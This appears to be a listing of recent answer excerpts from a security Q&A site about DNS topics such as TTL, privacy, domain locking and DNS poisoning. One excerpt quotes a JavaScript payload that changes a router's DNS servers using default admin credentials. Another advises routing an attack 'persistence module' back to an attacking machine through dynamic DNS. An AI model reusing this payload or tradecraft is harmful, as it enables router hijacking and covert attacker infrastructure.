New answers tagged

3

What should I set my TTL to for the most secure DNS? As you already state in your question: a high TTL conflicts with a possible insecure mail server and a low TTL conflicts with a possible insecure DNS server. Since the security of DNS and mail server depends in the actual setup there can be no general "most secure" TTL setting. Instead you have to ...


2

Why don't you try a nmap -Pn -p 0-65535 scan against the host. The device may not report any ports because it is not responding to pings. Also, is the dns entry there when you perform a nslookup? What happens when you ping -a the phantom device? Can you track the location to a subnet specific to a switch and then look at the stats on the switch? What does ...


0

A relevant security issue is the "same site scripting" described here: http://www.securityfocus.com/archive/1/486606/30/0/threaded Although this issue is pretty old, some websites still make this mistake recently: https://hackerone.com/reports/1509


2

It is valid. See this change in the developement tree. That said, your configuration should be simplified. When using a predefined resolver, all you need is the resolver name: DNSCRYPT_PROXY_RESOLVER_NAME=dnscrypt.eu-dk It doesn't make any sense to provide the name of a predefined resolver and then manually override everything. Worse, it will break if ...


0

specific answer: Unblock-Us' website (incl the image you included) is quite misleading, as their DNS servers themselves don't offer any additional protection. What they actually mean is that instead of giving you the real IP addresses for some websites (e.g. Netflix.com), it'll resolve them to an IP for one of their proxies, which will then proxy the website ...


48

Essentially, it doesn't. DNS servers let your computer look up where websites and other services are based on friendly names, by converting those to IP addresses. Your ISP provides this as a service, but knows precisely who you are, and what IP your computer has, so can easily look up to see that @user1 has made a request to look at google.com. A third ...


2

It does not stop them from seeing your activity, it really does not. private DNS or not you will still be visible, you would need extra layers to ensure your privacy, but it does allow you to skip government rules. if anyone wanted to they could easily see who you are, you still use your public IP dont think doing this hides who you are.


5

DNS/Internet service providers may collect information about the traffic that you request, for internal auditing or to sell. One example from 2015 is that AT&T offered data privacy for a price By using private DNS servers the request for traffic will go through a trusted channel, still use the ISP infrastructure but not their resolution service.


4

There are lots of better ways to do this. First, you could set up a free dynamic DNS service that will update with the changes to your IP, and you configure your persistence module to connect to the DNS name. Or, you could use the website's IP in the persistence module, and simple tunnel/pivot/redirect traffic from there to your attacking machine.


5

Locked domains are domains which require additional hoops be leapt through in order to change ownership. The lock is requested by the owner of the domain and implemented by the registrar of the domain. Historically, transferring ownership of a domain required something like one of the authorized contacts faxing in a signed paper. And, believe it or not, ...


2

This question, and this exact scenario, actually came up on Serverfault a few months ago. See http://serverfault.com/questions/744147/can-someone-using-the-same-dns-server-as-me-hijack-my-domains


1

While I am not sure exactly how DigitalOcean handles it, as their code is proprietary, if I were to design a similar system I would only allow the domain to be in the system exactly one time. If someone did try to register it again I would not allow it. However, if the domain is really theirs, they could contact support and prove it. After proving it to ...


1

They "technically" work by providing the company name and address to the whois database instead of yours. That's it. The main advantage is that you don't get your domain revoked for providing bogus information. And you can still be contacted through the registration company where needed.


3

It attempts to exploit your router using the most common default user/pass combos and change your DNS servers to another: var dnsprimario = "103.31.0.140"; var dnssecundario = "8.8.8.8"; document.write('<img src="hxxp://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary=' + dnsprimario + '&dnsSecondary=' + dnssecundario + ...


0

The problem may be windows 8 (and windows 10) using 'Smart Multi-Homed Name Resolution'. This basically sends queries to multiple DNS servers and returns the fastest result, so your network adapter's DNS may not have been used. You can try using gpedit to disable this, avast have some instructions here If this setting does not appear in gpedit (I have seen ...


0

You mention four problems. All of them can be remediated by using Tor. Tor does not maintain your anonymity by hiding every detail. This is good because, for example, it is unclear how a browser could function with window size being hidden. Rather Tor has defaults that everyone using Tor should use. Once you do this, you become indistinguishable from all of ...


0

You are correct by saying that browsers send information that can be used to narrow down the possible source(s). There are quite a few points which need to be made here since this touches particular subjects. VPN service As long as the VPN server/service is not in your possession, nothing can guarantee your identity and/or security, which is often ...


0

The information about OS etc. comes from the HTTP User-Agent header. You can install some plugin to fake the User-Agent to any other you like, or strip it out altogether. The information about screen resolution comes from the Javascript layer and you can do nothing sensible about it. You could go and hack the browser binary, for example replacing ...


0

Please forgive me if I misunderstood but here is my answer from what I gather you are asking: If you want to set up a server behind your internet connection I would refrain from using DMZ and use port forwarding. Putting a server on DMZ without a vast amount of experience is a dangerous thing to do. List out your specific services and set up forwarding ...


0

Actually in case you've described(payment processing) there's one thing you've missed : vendor(Crypto.com) <-> payment_processor(PayEasy.com) interaction. I have implemented such a ties, and that's how it works: vendor makes a callback to processor: "give me a transaction id for the full details of transaction". Their sig's are checked between them by ...


1

No. This is exactly why we have PKI - to prevent this type of DNS poisoning attack that you are describing. Here is what would happen in the case that you are describing (including the comments), after Bob clicks the link to https://PayEasy.com. First, Bob's browser would do a lookup DNS lookup for PayEasy.com. Let's assume that the attacker (Bob's ...



Top 50 recent answers are included